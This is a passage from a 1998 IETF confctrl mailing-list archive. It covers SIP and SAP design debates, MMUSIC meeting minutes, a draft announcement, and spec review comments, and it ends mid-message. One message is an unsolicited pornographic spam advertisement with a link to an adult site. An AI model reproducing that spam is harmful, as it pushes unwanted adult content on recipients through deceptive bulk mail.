	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA10367
	for <confctrl@zephyr.isi.edu>; Wed, 9 Sep 1998 09:35:31 -0700 (PDT)
Received: from prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA19185;
	Wed, 9 Sep 1998 09:35:03 -0700 (PDT)
Received: from robla (two221.dev.prognet.com [172.16.2.221])
	by prognet.com (8.9.1/8.9.0) with SMTP id JAA29311;
	Wed, 9 Sep 1998 09:35:08 -0700
Message-Id: <3.0.3.32.19980909093458.0204a4f0@mail.real.com>
X-Sender: robla@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Wed, 09 Sep 1998 09:34:58 -0700
To: Mark Handley <mjh@ISI.EDU>, Ross Finlayson <finlayson@live.com>
From: Rob Lanphier <robla@real.com>
Subject: Re: FYI: Experimental "directory" sessions currently being
  announced 
Cc: confctrl@ISI.EDU
In-Reply-To: <10422.905349916@north.lcs.mit.edu>
References: <Your message of "Tue, 08 Sep 1998 20:58:23."             <3.0.5.16.19980908205823.20ff8c92@shell7.ba.best.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 10:05 AM 9/9/98 -0400, Mark Handley wrote:
>SAP was always intended to be run by tools that run continuously or
>get an update from a local cache on startup.  Either you leave your
>sdr running, or you implement local caching servers.  We discussed a
>protocol for talking to local caches several times in MMUSIC (eg
>ftp://ftp.isi.edu/confctrl/minutes/slides.12.95.Z in sdap.12.95.ps
>and ftp://ftp.isi.edu/confctrl/minutes/slides.3.96.tar.Z in sdap.3.96.ps).
>Caches were always intended to be part of the architecture but there
>were always higher priority tasks and no great community pressure to
>do the local-area part.  I even wrote such a caching server and
>protocol for sdr at one stage, but never quite found the time to
>finish it properly :-(

One could actually just have a web-based directory as the "cache", and then
there's no longer any need for a special protocol.  Alternatively, some
sort of mailbox-like file format would also do the trick in a pretty
straightforward fashion.

>The problem is that multiple groups and local caching servers are at
>odds with each other.  How does a caching server know which groups to
>cache in advance of your joining that directory?  The temptation will
>be to cache all directories, and that's directly equivalent to using a
>single group.

Hmmm, not necessarily.  I see this as being analogous to Usenet.
Certainly, many sites will want to get all of the directories, but there
may be sites out there that don't.  Furthermore, you get a certain amount
of organization by having different channels, assuming people are good
about organizing themselves (a tricky assumption, but the Usenet does o.k.
at this).

Rob


From confctrl-owner  Wed Sep  9 21:50:20 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA07533
	for confctrl-outgoing; Wed, 9 Sep 1998 21:50:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA07521
	for <confctrl@zephyr.isi.edu>; Wed, 9 Sep 1998 21:50:18 -0700 (PDT)
Received: from homer.firststreetinternet.com (homer.firststreetinternet.com [208.232.44.4])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA03279;
	Wed, 9 Sep 1998 21:50:16 -0700 (PDT)
From: HotPinkMuff@mci.com
Received: from fjs8k (ip35.belair.md.pub-ip.psi.net [38.14.57.35])
	by homer.firststreetinternet.com (8.8.5/8.8.5) with SMTP id AAA11104;
	Thu, 10 Sep 1998 00:47:03 -0400 (EDT)
Date: Thu, 10 Sep 1998 00:47:03 -0400 (EDT)
Message-Id: <199809100447.AAA11104@homer.firststreetinternet.com>
To: every@aol.com
Subject: Hot Wet Teens For You
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Cyber-Pink, the name says it all.  This site features a dynamite selection of hardcore video feeds and streaming movies along with a huge collection of XXX pix.  This site offers a free one week demo.. 

<a href="http://coed-campus.porncity.net/385/page3.html"> Click here to enter </a>

From confctrl-owner  Thu Sep 17 07:31:14 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA13364
	for confctrl-outgoing; Thu, 17 Sep 1998 07:31:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA13354
	for <confctrl@zephyr.isi.edu>; Thu, 17 Sep 1998 07:31:12 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA17921
	for <confctrl@isi.edu>; Thu, 17 Sep 1998 07:31:11 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id KAA10012; Thu, 17 Sep 1998 10:31:05 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@ISI.EDU
cc: minutes@ietf.org
Subject: Chicago MMUSIC WG minutes
Date: Thu, 17 Sep 1998 10:31:05 -0400
Message-ID: <10010.906042665@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



MMUSIC Minutes from the Chicago IETF
====================================

Reported by Eve Schooler, Mark Handley, and Joerg Ott

Colin Perkins made a brief presentation on changes to the SAP security
specification made as a result of comments on the mailing list.  Mark
Handley will merge the security spec with the base spec and submit
this to the IESG to become an experimental standard before the next
IETF.  An issue was raised whether these changes to the SAP
specification required the version number to change; the previous
version of the draft had inadvertantly changed the version
number. However, Mark Handley pointed out that implementations of the
previous SAP security did not exist so that the existing version
number could be re-used.

Mark Handley summarized the status of SIP: we have completed WG last
call and submitted the spec to the ADs.  The ADs felt that performing
IETF last call over the IETF was a bad idea so delayed that until
after the IETF.  In the meantime a couple of errors had shown up in
the SIP spec.  Besides pure editorial errors such as the consistent
use of IETF standards terminology and the need for some explanatory
clarifications, a couple of functional errors were discovered.
Henning Schulzrinne described these errors and the proposed solutions
including the following: a new error code was added to allow
distinction between a busy signal from one (out of many) call legs
from a (final) busy signal (on the single or all legs) of a call.  An
expiration field was added to the "Location" header to allow reporting
independent reporting of different expiration times for each location.
Finally, an open issue was reported with respect to the "Location"
syntax: in SIP, a "Location" header may be following by several URIs
each which associated parameters -- the separator between them being
commas and semicola, respectively.  In case a URI contains either of
the separating character (which is unlikely but possible), this will
result in misinterpretation of the "Location" header.  Proposed
solutions include quoting each URI, allowing only a single URI per
"Location" header, and using '<' and '>' as delimiters for the URI
similar to the mail address format, and changing the name of the
header.  The rough consensus was to change the name of Location to
Contact and to allow '<' and '>' as delimiters.

A new ID will be submitted as soon as the ID editor is accepting IDs
again, and we will ask the ADs to do IETF last call on this revised
spec instead.  The consensus in the room was that the changes were
small enough that we didn't need to repeat WG last call.

Colin Perkins presented a proposal for a local message bus for local
area conference coordination, similar to the LBL conference bus, CCCP
and PMM.  Such a proposal was first made in MMUSIC at the 1994 Seattle
IETF and has been discussed occasionally since. There seemed to be a
lot of interest in this proposal now.  It is not clear that this
should be an MMUSIC work item though, as it has the potential to be
used for more general purpose local coordination.  The rough consenus
was that work on this should continue, and that we should consider
holding a BOF at the Orlando IETF to see if the interest is general
enough to form a new WG.  The authors of the Mbus documents agreed to
consider the implications of a broadened scope of the Mbus with
respect to their design decisions as well as the potential overlap
with other WGs (or BOFs) in the IETF before deciding on requesting a
BOF for the 43rd IETF.

Philip Hoschka presented a proposal for a syntactic mapping of SDP
into SMIL (W3C's Synchronised Multimedia Integration Language).  The
rough consensus was that this was the wrong approach -- SDP is quite
limited and there is no reason why these limitations should be
perpetuated in SMIL.  Instead, a description language much more
powerful than SDP would be desirable in many cases.  It was also
pointed out that providing SMIL definitions that follow what is in SDP
faces the problem of a SDP being a moving target: this would lead to
this part of SMIL always being slightly out-of-sync with SDP and may
even result in diverging specifications.  Inclusion or referencing SDP
as is was conceived a more suitable alternative.  However, we want to
ensure that the IANA registry used for SDP can also be used for SMIL
so the two should share some common syntax.

Francois Menard presented some ideas for using XML in the context of
SIP for conveying more general information such as settlements.  This
wasn't a specific proposal -- more a heads up for people to think about
this possibility.

Kenji Fujikawa presented a proposal for SIP URLs.  Mark Handley
presented the reasons why he thinks this is a bad idea.  Much
discussion ensued which was curtailed because we ran out of time, but
the consensus appears to be that is this a bad idea and should not be
persued.  If you absolutely need this information in a URL, use the
data URL instead.  But preferably don't do it at all.

Slides from the presentations and these minutes will be made available
on the MMUSIC archive site at ftp://ftp.isi.edu/confctrl/minutes.

From confctrl-owner  Tue Sep 22 06:56:55 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA12864
	for confctrl-outgoing; Tue, 22 Sep 1998 06:56:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA12859
	for <confctrl@zephyr.isi.edu>; Tue, 22 Sep 1998 06:56:53 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA08337
	for <confctrl@isi.edu>; Tue, 22 Sep 1998 06:56:52 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.5/8.8.7a) with ESMTP id JAA09567;
	Tue, 22 Sep 1998 09:56:19 -0400 (EDT)
Message-Id: <199809221356.JAA09567@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-09.txt,.ps
Date: Tue, 22 Sep 1998 09:56:19 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control 
Working Group of the IETF.

	Title		: SIP: Session Initiation Protocol
	Author(s)	: M. Handley, H. Schulzrinne, 
                          E. Schooler, J. Rosenberg
	Filename	: draft-ietf-mmusic-sip-09.txt,.ps
	Pages		: 132
	Date		: 21-Sep-98
	
         The Session Initiation Protocol (SIP) is an application-
         layer control (signaling) protocol for creating,
         modifying and terminating sessions with one or more
         participants. These sessions include Internet multimedia
         conferences, Internet telephone calls and multimedia
         distribution. Members in a session can communicate via
         multicast or via a mesh of unicast relations, or a
         combination of these.
 
         SIP invitations used to create sessions carry session
         descriptions which allow participants to agree on a set
         of compatible media types. It supports user mobility by
         proxying and redirecting requests to the user's current
         location. Users can register their current location.  SIP
         is not tied to any particular conference control
         protocol. SIP is designed to be independent of the
         lower-layer transport protocol and can be extended with
         additional capabilities.
 
         This document is a product of the Multi-party Multimedia
         Session Control (MMUSIC) working group of the Internet
         Engineering Task Force.  Comments are solicited and
         should be addressed to the working group's mailing list
         at confctrl@isi.edu and/or the authors.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-09.txt".
A URL for the Internet-Draft is:
ftp://ftp.ietf.org/internet-drafts/draft-ietf-mmusic-sip-09.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ftp.ietf.org
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ietf.org.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-09.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19980921121846.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-09.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-09.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19980921121846.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Fri Sep 25 13:51:03 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA18588
	for confctrl-outgoing; Fri, 25 Sep 1998 13:51:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA18583
	for <confctrl@zephyr.isi.edu>; Fri, 25 Sep 1998 13:51:02 -0700 (PDT)
Received: from spot.cs.utk.edu (SPOT.CS.UTK.EDU [128.169.92.189])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA16733;
	Fri, 25 Sep 1998 13:50:51 -0700 (PDT)
Received: from spot.cs.utk.edu by spot.cs.utk.edu with ESMTP (cf v2.11c-UTK)
          id QAA26733; Fri, 25 Sep 1998 16:50:44 -0400 (EDT)
Message-Id: <199809252050.QAA26733@spot.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
X-PGP-Key: 2F07A741 ; 78 15 8E 8B C0 06 5D D1  BC 08 05 7F 42 81 7E 90 
To: confctrl@ISI.EDU
cc: moore@cs.utk.edu, authors:;;;;@cs.utk.edu;;;
Subject: use of MX by SIP
From: Keith Moore <moore@cs.utk.edu>
Date: Fri, 25 Sep 1998 16:50:43 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Someone pointed out to me that the current SIP draft specifies use of
DNS MX records to determine the location of SIP servers.

I think this is a Bad Idea, for the following reasons:

1. It is NOT reasonable to assume that SIP queries should go to the 
same hosts as incoming mail.  There is an increasing tendency to
centralize/consolidate mail services and redirect incoming mail 
for several different domains to one or more central mail servers, 
or even to an external service provider.  It's not reasonable to
assume that SIP services for a domain are maintained by the same 
administrators as maintain email for that domain.

2. It's confusing and counterintuitive.  If a mail administrator
wants mail for domain X to go to host Y, he has to set up an MX record
of the form X MX Y.  But if he doesn't want SIP queries to go to Y,
he then has to set a separate SRV record of the form X SRV {somewhere}.
Also, if the mail admin and the SIP admin are separate people, and
the mail admin changes MX records, he disrupts the SIP service without
the SIP admin knowing about it.  Why should the mail admin have to consider
the needs of the SIP service when deciding where incoming mail goes? 

3. It sets a lousy precedent.  What if SIP weren't the only non email
service using MX as a default?  If there were several such services, the
above problems would be considerably multiplied.

I believe SIP's proposed use of MX is an architectural violation
which requires strong justification before it can be endorsed in a standard.

Keith

From confctrl-owner  Fri Sep 25 14:38:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA20847
	for confctrl-outgoing; Fri, 25 Sep 1998 14:38:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA20842
	for <confctrl@zephyr.isi.edu>; Fri, 25 Sep 1998 14:38:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA21620;
	Fri, 25 Sep 1998 14:38:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Fri Sep 25 17:36:23 EDT 1998
Received: from delaware.dnrc.bell-labs.com (delaware.dnrc.bell-labs.com [135.180.240.27])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id RAA10595;
	Fri, 25 Sep 1998 17:36:21 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by delaware.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id RAA09317; Fri, 25 Sep 1998 17:36:27 -0400 (EDT)
Message-ID: <360C0CDB.56FF88DD@cs.columbia.edu>
Date: Fri, 25 Sep 1998 17:36:27 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Keith Moore <moore@cs.utk.edu>
CC: confctrl@ISI.EDU, Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Mark Handley <mjh@ISI.EDU>, Eve Schooler <schooler@cs.caltech.edu>
Subject: Re: use of MX by SIP
References: <199809252050.QAA26733@spot.cs.utk.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Keith Moore wrote:
> 
> Someone pointed out to me that the current SIP draft specifies use of
> DNS MX records to determine the location of SIP servers.
> 
> I think this is a Bad Idea, for the following reasons:
> 
> 1. It is NOT reasonable to assume that SIP queries should go to the
> same hosts as incoming mail.  There is an increasing tendency to
> centralize/consolidate mail services and redirect incoming mail
> for several different domains to one or more central mail servers,
> or even to an external service provider.  It's not reasonable to
> assume that SIP services for a domain are maintained by the same
> administrators as maintain email for that domain.

But it may well turn out to be quite common, since the idea is that my
published email and "phone" address are one and the same in many cases.
Indeed, the expected behavior is that I would have a business card with
a line of the form

email/ephone: foo@bar.com

Why wouldn't I want to farm out these two services to the same central
server? The motivation (more "global" address and reliability) are
similar for both.

Also, in many cases, SIP and email service will both the only service
outside the firewall. They will often share databases, such as
vacation/"has moved" forwarding information or name mapping (John.Doe to
jd48). Since both services rely heavily on managing people information,
it doesn't seem completely unlikely that in all but the largest domains,
postmaster and "sipmaster" will be the same person, just like the
secretary who answers the phone also sorts the mail :-) 

Large domains should set up SRV records. 

> 
> 2. It's confusing and counterintuitive.  If a mail administrator
> wants mail for domain X to go to host Y, he has to set up an MX record
> of the form X MX Y.  But if he doesn't want SIP queries to go to Y,
> he then has to set a separate SRV record of the form X SRV {somewhere}.
> Also, if the mail admin and the SIP admin are separate people, and
> the mail admin changes MX records, he disrupts the SIP service without
> the SIP admin knowing about it.  Why should the mail admin have to consider
> the needs of the SIP service when deciding where incoming mail goes?
> 
> 3. It sets a lousy precedent.  What if SIP weren't the only non email
> service using MX as a default?  If there were several such services, the
> above problems would be considerably multiplied.

I agree that in the longer term, *only* SRV records should be used (or A
records).

I'm not sure I follow this completely. There are two scenarios:

- None of the mail servers host a SIP server (and there is no SRV
record).

In that case, the only drawback is that the SIP client will end up
trying to connect to the SIP port and get an ECONNREFUSED. Except for an
additional SYN packet, the mail server won't be affected. If this
becomes an issue for a particular domain, the fix is easy: set up an SRV
record. It is tried first, so that the mail servers will never see an
errant SIP query again. If this encourages the deployment of SRV records
in large domains, this can't be altogether bad :-)

Note that this scenario can only exist successfully at all if the mail
server also has an A record of the same name. Otherwise, SIP queries
will fail completely for that particular SIP URI.

- One or more of mail servers also hosts a SIP server, but the mail
admin moves the mail server to a non-overlapping set of servers and
doesn't tell the SIP admin.

In organizations of the size where responsibilities are as finely
divided, the mail admin should've told the SIP admin to please find a
different host and either tell people to use SIP URIs with A or SRV
records.

The only consequence is again that SIP service fails; mail service is
completely unaffected. The SIP admin will learn quickly not to rely on
the mail admin and learn about SRV records.

Thus, it is completely up to the organization to decide where to place
servers. Absence of SIP servers at an MX record does not in any
significant way impact the operation of mail servers.

The use of MX records offers a transition period until SRV records are
more widely deployed (particularly in terms of access software). If we
do not allow that, then we are basically back to host-specific addresses
for SIP, which defeats a major purpose of the protocol. Requiring use of
SRV records, which aren't even an Internet standard at this point, seems
to hurt more than it helps.

I would support strong language to the effect that all domains
implementing SIP service SHOULD use SRV records, assuming the previous
item (lack of standards status of SRV) does not prevent such a
statement.

> 
> I believe SIP's proposed use of MX is an architectural violation
> which requires strong justification before it can be endorsed in a standard.
> 
> Keith

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 732 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Sep 25 14:57:13 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA21890
	for confctrl-outgoing; Fri, 25 Sep 1998 14:57:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA21884
	for <confctrl@zephyr.isi.edu>; Fri, 25 Sep 1998 14:57:12 -0700 (PDT)
Received: from beta.mcit.com (beta.mcit.com [199.249.19.143])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA23463
	for <confctrl@ISI.EDU>; Fri, 25 Sep 1998 14:57:11 -0700 (PDT)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
          by beta.mcit.com (8.8.8/) with ESMTP
	  id QAA24707; Fri, 25 Sep 1998 16:56:39 -0500 (CDT)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id RAA03876; Fri, 25 Sep 1998 17:56:39 -0400 (EDT)
Received: from sinnreich2 ([166.35.227.240]) by omta1.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19980925215639.CICR31405@sinnreich2>;
          Fri, 25 Sep 1998 16:56:39 -0500
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: "Keith Moore" <moore@cs.utk.edu>, <confctrl@ISI.EDU>
Subject: RE: use of MX by SIP
Date: Fri, 25 Sep 1998 16:56:49 -0500
Message-ID: <000b01bde8cf$659cefa0$f0e323a6@sinnreich2.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
In-reply-to: <199809252050.QAA26733@spot.cs.utk.edu>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There are many Internet services used by the same people at the same time,
mail and phone probably foremost on the list. Consolidating the records can
be considered a nice service integration feature in the operational domain.
In this light, using the MX records looks like good idea.

Thanks, Henry

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Keith Moore
> Sent: Friday, September 25, 1998 3:51 PM
> To: confctrl@ISI.EDU
> Cc: moore@cs.utk.edu;
> "authors:;authors:;authors:;;;;"@cs.utk.edu;;;;;;;;;;;;;;;;;;;;;;
> Subject: use of MX by SIP
>
>
> Someone pointed out to me that the current SIP draft specifies use of
> DNS MX records to determine the location of SIP servers.
>
> I think this is a Bad Idea, for the following reasons:
>
> 1. It is NOT reasonable to assume that SIP queries should go to the
> same hosts as incoming mail.  There is an increasing tendency to
> centralize/consolidate mail services and redirect incoming mail
> for several different domains to one or more central mail servers,
> or even to an external service provider.  It's not reasonable to
> assume that SIP services for a domain are maintained by the same
> administrators as maintain email for that domain.
>
> 2. It's confusing and counterintuitive.  If a mail administrator
> wants mail for domain X to go to host Y, he has to set up an MX record
> of the form X MX Y.  But if he doesn't want SIP queries to go to Y,
> he then has to set a separate SRV record of the form X SRV {somewhere}.
> Also, if the mail admin and the SIP admin are separate people, and
> the mail admin changes MX records, he disrupts the SIP service without
> the SIP admin knowing about it.  Why should the mail admin have
> to consider
> the needs of the SIP service when deciding where incoming mail goes?
>
> 3. It sets a lousy precedent.  What if SIP weren't the only non email
> service using MX as a default?  If there were several such services, the
> above problems would be considerably multiplied.
>
> I believe SIP's proposed use of MX is an architectural violation
> which requires strong justification before it can be endorsed in
> a standard.
>
> Keith
>


From confctrl-owner  Fri Sep 25 15:29:39 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA23443
	for confctrl-outgoing; Fri, 25 Sep 1998 15:29:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA23438
	for <confctrl@zephyr.isi.edu>; Fri, 25 Sep 1998 15:29:37 -0700 (PDT)
Received: from hplb.hpl.hp.com (hplb.hpl.hp.com [192.6.10.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA26191
	for <confctrl@isi.edu>; Fri, 25 Sep 1998 15:29:35 -0700 (PDT)
Received: from hplb.hpl.hp.com (kristensen-a-3.hpl.hp.com [15.144.26.185])
	by hplb.hpl.hp.com (8.8.6 (PHNE_14041)/8.8.6 HPLabs Bristol Relay) with ESMTP id XAA27282;
	Fri, 25 Sep 1998 23:29:33 +0100 (BST)
Message-ID: <360C1A22.C45572E4@hplb.hpl.hp.com>
Date: Fri, 25 Sep 1998 23:33:06 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: Hewlett-Packard Laboratories, Bristol
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP: comments on the spec
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I recently read the SIP spec (-09) pretty carefully.  This is a bunch of
issues, comments, bugs, nits, suggestions, etc. that came up.

Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK


[1.3] In the definition of "Client: An application program that
establishes connections..."  I'm not sure I know what "establishes
connections" means here. What about multicast SIP requests, for
example?

[2] In the SIP URL grammar (fig 3) 'other-param' is simply *uric.
Ought the BNF not define other-params to be a semi-colon
separated list of

  (token | (token "=" (token | quoted-string)))

or something like that?

As it stands the BNF is ambigous. Other-params can include ';' which
separates it from other parameters and '?' which separates params from
headers.  Likewise, header names and values can contain '&' which also
separates them from each other. The "URI: Generic Syntax" draft can
get away with defining query as *uric because it doesn't say
*anything* about the structure of those parts of URLs, but SIP does
and so must be more precise.

[2] I don't see the point of figure 4. Sure you can encode phone
numbers (or whatever) into the user field but if it's transparent for
the purpose of the SIP spec there's no point at all in going into it
here and it should be left to other specs (as in fact it was in
earlier drafts).

[4.2.1] The relationship between session descriptions (SD) and calls
isn't completely clear to me.  Section 4.2.1 would seem to suggest
that SDs are a property of calls rather than call legs.

Typically there'll be a single SD in force per call (ie per Call-Id),
but given that multiple INVITEs can be received for the same call,
potentially with different SDs and possibly even in different SD
languages, shouldn't SDs be a property of a call leg rather than the
call?

Suppose, for example, that A, B, and C are in a conference call and
are connected by a mesh and A wants to "far-side" mute B. It can do
this by sending an INVITE with an SDP body with a c= field with a zero
address as described in appendix B. This should cause B to stop
sending media data to A but it should continue sending to C.

Maybe this is only really a problem with the call-control extensions
described in a separate draft, since this allows A to establish the
leg between B and C in the first place...

[4.2.1] 

   "For two-party
   calls, the caller indicates the type of media it is able to receive
   as well as their parameters such as network destination. A success
   response indicates in its message body which media the callee wishes
   to receive."

This doesn't give the impression that the session description is just
as much about conveying what one can *send* as it is about what can be
received. This same vagueness pops up again in section 15.3:

   "Note that Watson's list of
   codecs may or may not be a subset of the one offered by Bell, as each
   party indicates the data types it is willing to receive."

... and send.


[4.2.3] The OPTIONS request is used to ask the server about its
capabilities. The server can indicate

  - media it understands
  - how it would have responded to the corresponding INVITE
  - the valid methods for the resource (Allow header)

It would be useful if the server could also tell the client which
extensions it knows about. It could do this using a "Supported" header
field (like Unsupported with the sign reversed).

It could be argued that this is a security risk since it reveals
information, but

  - the server can just choose NOT to tell about certain extensions
  - the client can get info about specific extensions anyway by
    including a Required header in the request, and
  - the server can require authentication before giving away this
    info.

If this use of a Supported header is deemed a good idea example 15.8
should be changed to illustrate it.


[4.2.6] Register

Registrations are sensitive to request reordering. If I register for
one location and then (fairly rapidly) again for another location they
might be received out-of-order. Since the two requests belong to
seperate calls (or rather no call at all) they would appear to get
processed out-of-order. Yes? No?

It might be useful to be able to say that a REGISTER request takes
effect from some specified point in the future. Say I leave my office
and know I will be reachable at a friends number half an hour later.
This is just an idea. It's probably better to keep the registration
support in SIP minimal, especially since it's on the fringe of what
SIP is really about.


[6] "Proxies MUST NOT reorder or otherwise modify header fields
other than by adding a new Via or other hop-by-hop field."

 - and fix up Via fields with 'received' info as described in 6.40.1.


[6.16] BNF for Content-Type has extraneous "(":
        Content-Type    =    ( "Content-Type" ":" media-type

[6.30] Require BNF syntax:
        Require = "Require" ":" 1#option-tag
  Problem is option-tag is *uric and the uric character class includes
commas. Hence something like "Require: a.b.c,x.y.z" is ambigous. This
is easily fixed by defining option-tag as being a token.


[6.37] BNF syntax broken - should be like From BNF:

  To = ( "To" | "t" ) ":" ( name-addr | addr-spec ) *( ";" addr-params )


[6.37] Tag param in From, To fields.

  "It MUST be placed in the To field of the
   response by each instance when there is a possibility that the
   request was forked at an intermediate proxy. This, in general, means
   that the tag MUST be inserted when the URL in the To does not refer
   to a fully qualified hostname."

Meaning, I guess, that when the host part of the To URL is a domain
name, it has an A RR associated with it.  This is, however, not a very
good criteria as many domains (hp.com being one) have A records
associated with them to make URLs like http://hp.com/ work.  Hence
